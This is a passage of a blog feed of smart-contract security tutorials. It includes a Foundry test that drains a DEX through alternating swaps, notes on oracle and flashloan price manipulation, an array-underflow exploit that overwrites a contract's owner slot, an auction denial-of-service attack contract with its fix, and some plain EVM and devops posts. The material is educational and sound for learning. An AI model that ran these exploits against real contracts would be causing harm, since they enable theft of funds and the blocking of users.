                    uint256 swapAmount = dex.getSwapPrice(address(token1), address(token2), userToken1);
                    
                    // Check if this would drain all token1
                    if (swapAmount &amp;gt;= token2.balanceOf(address(dex))) {
                        // Calculate exact amount needed to get all remaining token2
                        uint256 remainingToken2 = token2.balanceOf(address(dex));
                        uint256 exactAmount = (remainingToken2 * token1.balanceOf(address(dex))) / token2.balanceOf(address(dex));
                        dex.swap(address(token1), address(token2), exactAmount);
                    } else {
                        dex.swap(address(token1), address(token2), userToken1);
                    }
                }
            } else {
                // Even rounds: token2 -&amp;gt; token1
                uint256 userToken2 = token2.balanceOf(user);
                if (userToken2 &amp;gt; 0) {
                    uint256 swapAmount = dex.getSwapPrice(address(token2), address(token1), userToken2);
                    
                    // Check if this would drain all token1
                    if (swapAmount &amp;gt;= token1.balanceOf(address(dex))) {
                        // Calculate exact amount needed to get all remaining token1
                        uint256 remainingToken1 = token1.balanceOf(address(dex));
                        uint256 exactAmount = (remainingToken1 * token2.balanceOf(address(dex))) / token1.balanceOf(address(dex));
                        dex.swap(address(token2), address(token1), exactAmount);
                        break;
                    } else {
                        dex.swap(address(token2), address(token1), userToken2);
                    }
                }
            }
            round++;
        }
        
        vm.stopPrank();
        
        // Verify the attack was successful
        assertEq(token1.balanceOf(address(dex)), 0, &quot;All token1 should be drained from DEX&quot;);
        assert(token1.balanceOf(user) &amp;gt; 10); // User should have more token1 than they started with
        }
    }

&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;standard-methods-that-leads-to-price-oracle-manipulation-attacks&quot;&gt;Standard Methods that leads to Price oracle manipulation attacks&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Swap based Price Manipulation&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DeFi protocols&lt;/code&gt; that uses &lt;code&gt;Uniswaps/DEX's&lt;/code&gt; as their oracles for price feeds&lt;/li&gt;
&lt;li&gt;Attackers can alternatively swaps two tokens until they drain out large funds&lt;/li&gt;
&lt;li&gt;Swap large ETH for Token → &lt;code&gt;make Token look cheap&lt;/code&gt; and as price fluctuates again they &lt;code&gt;swap tokens for ETH&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Flashloan based Price Manipulation&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Flashloan ETH&lt;/li&gt;
&lt;li&gt;Use flashloaned ETH to swap token → skew Uniswap price&lt;/li&gt;
&lt;li&gt;Use manipulated price to drain lending/staking/vault&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Repay flashloan, keep profit&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Using flashloan to create Arbitrage opportunity&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Manipulating Oracles (LP)&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Some protocols use Uniswap LP as oracle&lt;/li&gt;
&lt;li&gt;But LP price = tokenA / tokenB is easily skewed&lt;/li&gt;
&lt;li&gt;If you can control LP state, you control the price&lt;/li&gt;
&lt;li&gt;Attacker swaps to inflate or deflate this price, and the protocol believes it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;tryout-this-ctf-challenges-for-better-understanding-about-the-attack-&quot;&gt;Tryout this CTF challenges for better understanding about the attack!!!&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://ethernaut.openzeppelin.com/level/22&quot;&gt;https://ethernaut.openzeppelin.com/level/22&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://ethernaut.openzeppelin.com/level/23&quot;&gt;https://ethernaut.openzeppelin.com/level/23&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;case-studies&quot;&gt;&lt;strong&gt;case studies&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://infotrend.com/mango-markets-madness-a-case-study-on-the-mango-markets-exploit/&quot;&gt;https://infotrend.com/mango-markets-madness-a-case-study-on-the-mango-markets-exploit/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://rekt.news/cream-rekt-2/&quot;&gt;https://rekt.news/cream-rekt-2/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Blockchain Sec</category>
<guid isPermaLink="true">https://coderlegion.com/3734/what-are-price-oracle-manipulation-attacks-in-blockchain-contracts-and-evm</guid>
<pubDate>Sat, 05 Jul 2025 20:38:10 +0000</pubDate>
</item>
<item>
<title>Advance EVM - Opcodes, low-level calls and instructions</title>
<link>https://coderlegion.com/3708/advance-evm-opcodes-low-level-calls-and-instructions</link>
<description>&lt;h2 id=&quot;evm-compatible-opcodes-and-calling&quot;&gt;EVM compatible, opcodes and calling&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The EVM basically represents all the instructions a computer needs to be able to read.&lt;/li&gt;
&lt;li&gt;Any language that can compile down to bytecode with these opcodes is considered &lt;strong&gt;EVM compatible&lt;/strong&gt;'&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Data in Transactions&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;When we send a transaction, it is &lt;code&gt;compiled&lt;/code&gt; down to bytecode&lt;/li&gt;
&lt;li&gt;The EVM processes this data to determine which function to call and what inputs to provide.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Bytecode&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;When a contract is deployed, it is compiled into &lt;code&gt;bytecode understood by the EVM.&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;This &lt;code&gt;bytecode&lt;/code&gt; represents exactly the &lt;code&gt;low level instructions&lt;/code&gt; to make our contract happen.&lt;/li&gt;
&lt;li&gt;This &lt;strong&gt;bytecode consist of opcodes&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Opcodes&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;Each opcode is a 2-character hexadecimal, represents some special instruction&lt;/li&gt;
&lt;li&gt;This opcode reader is sometimes abstractly called the &lt;code&gt;EVM&lt;/code&gt;   &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Encoding Data&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;Now, &lt;code&gt;ABI encoding will convert data into bytes&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ex: &lt;strong&gt;abi.encodePacked() || abi.encode()&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Decoding data&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Decoding is the process of taking the raw bytes and reconstructing the original data&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ex:  &lt;strong&gt;abi.decode()&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;call&lt;/strong&gt; &lt;/p&gt;
&lt;pre&gt;&lt;code&gt; - How we call functions to change the state variable of the blockchain
 ```js
 function stateChange(address _address) public {
     s_state[_address] = 12;
 }
 ```
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;staticcall&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;- This is how (at a low level) we do our &quot;view&quot; or &quot;pure&quot; function calls  
 ```js
 function getState() public view returns(uint256){
     return s_state;
 }
 ```
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;send-tnx-that-call-functions-with-just-data-field-populated-evm-signature-selector-&quot;&gt;Send TNX that call functions with just data field populated (EVM Signature Selector)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In order to call a function using only the data field of call, we need to encode:&lt;ol&gt;
&lt;li&gt;function name&lt;/li&gt;
&lt;li&gt;parameters we want to add&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Now each contract assigns each function a &lt;strong&gt;&lt;code&gt;function ID/Method ID&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Function selector&lt;/strong&gt; is the first 4 bytes of the function signature&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function signature&lt;/strong&gt; a string that defines the function name &amp;amp; &lt;pre&gt;&lt;code&gt;parameters
**Ex :  transfer(address,uint256)**
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Lets assume, we need to call &lt;code&gt;transfer(address,uint256)&lt;/code&gt; function but by filling the data field!!!&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;getFunctionSelector&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- By this method we will get function selector of the calling function.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function getSelector() public pure returns (bytes4 selector) {
    selector = bytes4(keccak256(bytes(&quot;transfer(address,uint256)&quot;)));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;call Transfer Function with selector&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Will use &lt;strong&gt;&lt;code&gt;abi.encodeWithSelector(bytes4 selector, args1, args2)&lt;/code&gt;&lt;/strong&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// Here, using EVM cheatcodes we can directly call the transfer() function using data-field

function callTransferData(address _address, uint256 _amount) public returns (bytes4 ,bool) {
    (bool success, bytes memory data) = address(this).call(
        abi.encodeWithSelector(getSelector(), _address,_amount)
    );
    return (bytes4(data), success);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;call Transfer Function with signature&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Will use &lt;strong&gt;&lt;code&gt;abi.encodeWithSignature(string functSignature, args1, args2)&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// Here, we will not use function selector. Rather, we will use function signature to call our transfer() function by populating data field.

function callTransferDataSig(address _address, uint256 _amount) public returns (bytes4 ,bool) {
    (bool success, bytes memory data) = address(this).call(
        abi.encodeWithSignature(&quot;transfer(address,uint256)&quot;, _address,_amount)
    );
    return (bytes4(data), success);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Note: If there is anything wrong or if you want to share more concepts or if have any doubts. Pls comment below!!!&lt;/strong&gt;&lt;/p&gt;
</description>
<category>Blockchain Sec</category>
<guid isPermaLink="true">https://coderlegion.com/3708/advance-evm-opcodes-low-level-calls-and-instructions</guid>
<pubDate>Thu, 03 Jul 2025 14:13:21 +0000</pubDate>
</item>
<item>
<title>Introduction to solidity smart contracts storage layout -- What are risks in manipulating storage???</title>
<link>https://coderlegion.com/3680/introduction-solidity-smart-contracts-storage-layout-what-risks-manipulating-storage</link>
<description>&lt;h2 id=&quot;storage-layout-and-array-overflow-underflow-risks-&quot;&gt;&lt;strong&gt;Storage layout and array overflow/underflow risks!!!!&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Solidity stores data in &lt;code&gt;Each slot = 32 bytes (256 bits)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Each storage slot is numbered: &lt;code&gt;slot 0, slot 1, slot 2&lt;/code&gt; and so on.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Solidity tries to pack variables into these slots efficiently, but the actual layout depends on data type and declaration order.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;storage-layout-breakdown&quot;&gt;Storage Layout Breakdown&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Consider a simple contract with various variable and it's storage layout&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;contract StorageExample {
    bool public flag;                    // 1 byte
    uint256 public number;        // 32 bytes
    string public message;        // dynamic
    bytes32[] public data;        // dynamic array
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;bool public flag&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;bool = 1 byte&lt;/li&gt;
&lt;li&gt;Stored in &lt;code&gt;slot 0&lt;/code&gt; (remaining 31 bytes unused)&lt;/li&gt;
&lt;li&gt;Solidity will check if next type can be packed in slot 0. If not &lt;code&gt;new slot 1&lt;/code&gt; will be allocated and fitted&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;uint256 public number&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;uint256 = 32 bytes &lt;/code&gt; (can't be fit in slot 0)&lt;/li&gt;
&lt;li&gt;Stored in &lt;code&gt;slot 1&lt;/code&gt; (entire slot used)&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;string public message&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;string is a dynamic type.&lt;/code&gt; (entire slot 2 used)&lt;/li&gt;
&lt;li&gt;Solidity stores only a &lt;code&gt;pointer/reference&lt;/code&gt; (not the data) in the slot.&lt;/li&gt;
&lt;li&gt;The actual string content is stored at &lt;code&gt;keccak256(2)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;&quot;hello&quot; → 5 bytes
Stored at hash(slot 2) = location A, value: &quot;hello&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;bytes32[] public data&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;entire slot 3 used (data.length)&lt;/li&gt;
&lt;li&gt;bytes32[] is a dynamic array&lt;/li&gt;
&lt;li&gt;&lt;code&gt;slot stores only The length of the array&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// bytes32[] stored at slot 3
start of array -&amp;gt; uint256(keccak256(abi.encode(3)));

// Length in slot 3: 2
If data = [0x1, 0x2];

hash(slot 3) + 0 = 0x...A → 0x1
hash(slot 3) + 1 = 0x...B → 0x2
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;possible-risks-or-attacks-due-to-storage-layout-manipulation&quot;&gt;Possible risks or attacks due to storage layout manipulation&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// We will underflow the array
contract WeirdStorage {
    address public owner;           // slot 0
    bytes32[] public data;         // slot 1 -&amp;gt; stores (data.length)

    function setData(uint256 index, bytes32 value) public {
        data[index] = value;
    }
}
// keccak256(1) + i = data[i];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;This is how attackers can corrupt unrelated storage — like overwriting a bool variable or even an owner address stored in early slots.&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;data.pop() -&amp;gt; &lt;code&gt;data.length == 2^256-1&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;find index that maps to slot 0 (where owner stored)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;keccak256(1) + index = 0
index = -keccak256(1) mod 2^256
index = 2^256 - keccak256(1)

vulnerable.popData(); // underflow

// attacker address, cast to bytes32
bytes32 attackerAddress = bytes32(uint256(uint160(attacker)));

// overwrite slot 0 (owner) to attacker address
vulnerable.setData(index, attackerAddress);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;mitigation-&quot;&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Use Solidity ≥ 0.8.0&lt;/li&gt;
&lt;li&gt;Avoid &lt;code&gt;exposing publi&lt;/code&gt;c write access to dynamic arrays&lt;/li&gt;
&lt;li&gt;Never allow &lt;code&gt;.pop() or manual index writes from untrusted users&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;SafeMath or OpenZeppelin's defensive wrappers&lt;/code&gt; for older versions&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;case-studies-1&quot;&gt;Case Studies&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079&quot;&gt;https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Blockchain Sec</category>
<guid isPermaLink="true">https://coderlegion.com/3680/introduction-solidity-smart-contracts-storage-layout-what-risks-manipulating-storage</guid>
<pubDate>Mon, 30 Jun 2025 21:26:35 +0000</pubDate>
</item>
<item>
<title>Blockchain Devops</title>
<link>https://coderlegion.com/3632/blockchain-devops</link>
<description>&lt;h2 id=&quot;blockchain-devops&quot;&gt;Blockchain Devops&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Blockchain DevOps involves the application of DevOps principles and practices in the blockchain ecosystem. It focuses on streamlining the development, deployment, testing, and operation of blockchain-based applications or networks.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tip :&lt;/strong&gt; The following example is completely for learning and sharing coding experiences purpose&lt;/p&gt;
&lt;h2 id=&quot;how-we-can-implement-the-devops-principle-in-our-blockchain-project-&quot;&gt;How we can implement the devops principle in our Blockchain project?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We will see a simple example of how we can implement Devops in our blockchain project.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Note: We are using Foundry as our development framework. We are not going to discuss the main coding part. We will just go through the installation and requirement part!!!!&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Now, &lt;/strong&gt;we will try to get the most recent deployment from a given environment in foundry&lt;strong&gt;. This way, we can do scripting off previous deployments in solidity.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Download the following library and repo in your project:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;  forge install foundry-rs/forge-std@v1.8.2 --no-commit
  forge install Cyfrin/foundry-devops --no-commit
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update your foundry.toml to have read permissions on the broadcast folder.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;fs_permissions = [
    { access = &quot;read&quot;, path = &quot;./broadcast&quot; },
    { access = &quot;read&quot;, path = &quot;./reports&quot; },
]
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Import the package, and call :&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import {DevOpsTools} from &quot;lib/foundry-devops/src/DevOpsTools.sol&quot;;
import {MyContract} from &quot;my-contract/MyContract.sol&quot;;
.
. rest of your code
.
function interactWithPreviouslyDeployedContracts() public {
    address contractAddress = DevOpsTools.get_most_recent_deployment(&quot;MyContract&quot;, block.chainid);
    MyContract myContract = MyContract(contractAddress);
    myContract.doSomething();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;by-following-the-above-steps-in-our-foudry-code-we-can-get-the-most-recent-deployed-contract-code&quot;&gt;&lt;strong&gt;By, following the above steps in our foudry code, we can get the most recent deployed contract code&lt;/strong&gt;&lt;/h3&gt;
&lt;h3 id=&quot;for-l2-and-rollups-blockchain-network-you-can-prefer-the-given-repo&quot;&gt;For, L2 and rollups blockchain network you can prefer the given repo&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/anuragShingare30/Foundry-Devops-Code&quot;&gt;https://github.com/anuragShingare30/Foundry-Devops-Code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Cyfrin/foundry-devops&quot;&gt;https://github.com/Cyfrin/foundry-devops&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Blockchain Sec</category>
<guid isPermaLink="true">https://coderlegion.com/3632/blockchain-devops</guid>
<pubDate>Sun, 29 Jun 2025 10:44:05 +0000</pubDate>
</item>
<item>
<title>Executing Denial of Service on smart contracts</title>
<link>https://coderlegion.com/3145/executing-denial-of-service-on-smart-contracts</link>
<description>&lt;p&gt;&lt;strong&gt;️ Deny users from accessing a smart contract&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/16539849/174761638-cf7c28d6-f654-4f5b-8fab-569ddc968941.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;A Denial of Service (DOS) attack is a type of attack that is designed to disable, shut down, or disrupt a network, website, or service. Essentially it means that the attacker somehow can prevent regular users from accessing the network, website, or service therefore denying them service. This is a very common attack which we all know about in web2 as well but today we will try to imitate a Denial of Service attack on a smart contract&lt;/p&gt;
&lt;p&gt;&lt;strong&gt; Overview&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There will be two smart contracts - Good.sol and Attack.sol. Good.sol will be used to run a sample auction where it will have a function in which the current user can become the current winner of the auction by sending Good.sol higher amount of ETH than was sent by the previous winner. After the winner is replaced, the old winner is sent back the money which he initially sent to the contract.&lt;/p&gt;
&lt;p&gt;Attack.sol will attack in such a manner that after becoming the current winner of the auction, it will not allow anyone else to replace it even if the address trying to win is willing to put in more ETH. Thus Attack.sol will bring Good.sol under a DOS attack because after it becomes the winner, it will deny the ability for any other address to becomes the winner.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;⚒️ Build&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Setting up Foundry&lt;/p&gt;
&lt;p&gt;To start the project, open up your terminal and create a new project directory.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir denial-of-service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let's start by setting up Hardhat inside the denial-of-service directory.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd denial-of-service
forge init .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Write the Smart Contracts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's create the auction contract, named Good.sol, with the following code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value &amp;gt; currentAuctionPrice, &quot;Need to pay more than the currentAuctionPrice&quot;);
        (bool sent, ) = currentWinner.call{value: currentAuctionPrice}(&quot;&quot;);
        if (sent) {
            currentAuctionPrice = msg.value;
            currentWinner = msg.sender;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a pretty basic contract which stores the address of the last highest bidder, and the value that they bid. Anyone can call setCurrentAuctionPrice and send more ETH than currentAuctionPrice, which will first attempt to send the last bidder their ETH back, and then set the transaction caller as the new highest bidder with their ETH value.&lt;/p&gt;
&lt;p&gt;Now, create a contract named Attack.sol within the contracts directory and write the following lines of code&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import &quot;./Good.sol&quot;;

contract Attack {
    Good good;

    constructor(address _good) {
        good = Good(_good);
    }

    function attack() public payable {
        good.setCurrentAuctionPrice{value: msg.value}();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This contract has a function called attack(), that just calls setCurrentAuctionPrice on the Good contract. Note, however, this contract does not have a fallback() function where it can receive ETH. More on this later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Writing the Test&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's create an attack that will cause the Good contract to become unusable. Create a new file under test folder named Attack.t.sol and add the following lines of code to it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Test} from &quot;forge-std/Test.sol&quot;;
import {Attack} from &quot;../src/Attack.sol&quot;;
import {Good} from &quot;../src/Good.sol&quot;;
import {console} from &quot;forge-std/console.sol&quot;;

contract AttackTester is Test {
    //declare a variable for holding instances of our contracts
    Good public goodContract;
    Attack public attackContract;

    function setUp() public {
        // Deploy the Good Contract using a dummy account
        vm.prank(vm.addr(420));
        goodContract = new Good();


        //Deploy the Attack Contract
        attackContract = new Attack(address(goodContract));

    }

    function test_attack() public {

        // Get two addresses using their private keys
        address address1= vm.addr(1);
        address address2= vm.addr(2);

        //add funds to the addresses
        deal(address1, 100 ether);
        deal(address2, 100 ether);


        //Initially let address1 become the current winner of the auction
        //impersonate address1 for sending a transaction to the Good Contract
        vm.prank(address1);
        goodContract.setCurrentAuctionPrice{value: 1 ether}();

        
        
        // Start the attack and make Attack.sol the current winner of the auction
        attackContract.attack{value: 3 ether}();

        // Now let's try making address2 the current winner of the auction
        vm.prank(address2);
        goodContract.setCurrentAuctionPrice{value: 4 ether}();



        // Balance of the Game Contract should be equal 0
        assertEq(goodContract.currentWinner(), address(attackContract));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice how Attack.sol will lead Good.sol into a DOS attack. First address1 will become the current winner by calling setCurrentAuctionPrice on Good.sol then Attack.sol will become the current winner by sending more ETH than address1 using the attack function. Now when address2 will try to become the new winner, it won't be able to do that because of this check(if (sent)) present in the Good.sol contract which verifies that the current winner should only be changed if the ETH is sent back to the previous current winner.&lt;/p&gt;
&lt;p&gt;Since Attack.sol doesn't have a fallback function which is necessary to accept ETH payments, sent is always false and thus the current winner is never updated and address2 can never become the current winner&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test the attack&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To run the test, in your terminal pointing to the root directory of this level execute the following command&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the tests pass, you will notice that the Good.sol is now under DOS attack because after Attack.sol becomes the current winner, on other address can becomes the current winner.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt; Prevention&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can create a separate withdraw function for the previous winners.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;
    mapping(address =&amp;gt; uint) public balances;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value &amp;gt; currentAuctionPrice, &quot;Need to pay more than the currentAuctionPrice&quot;);
        balances[currentWinner] += currentAuctionPrice;
        currentAuctionPrice = msg.value;
        currentWinner = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != currentWinner, &quot;Current winner cannot withdraw&quot;);

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}(&quot;&quot;);
        require(sent, &quot;Failed to send Ether&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt; Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Hope you learnt something from this post. &lt;br&gt;
If you have any questions or feel stuck or just want to say Hi, call me anytime!&lt;/p&gt;
&lt;p&gt;Thanks&lt;/p&gt;
</description>
<category>Web Dev</category>
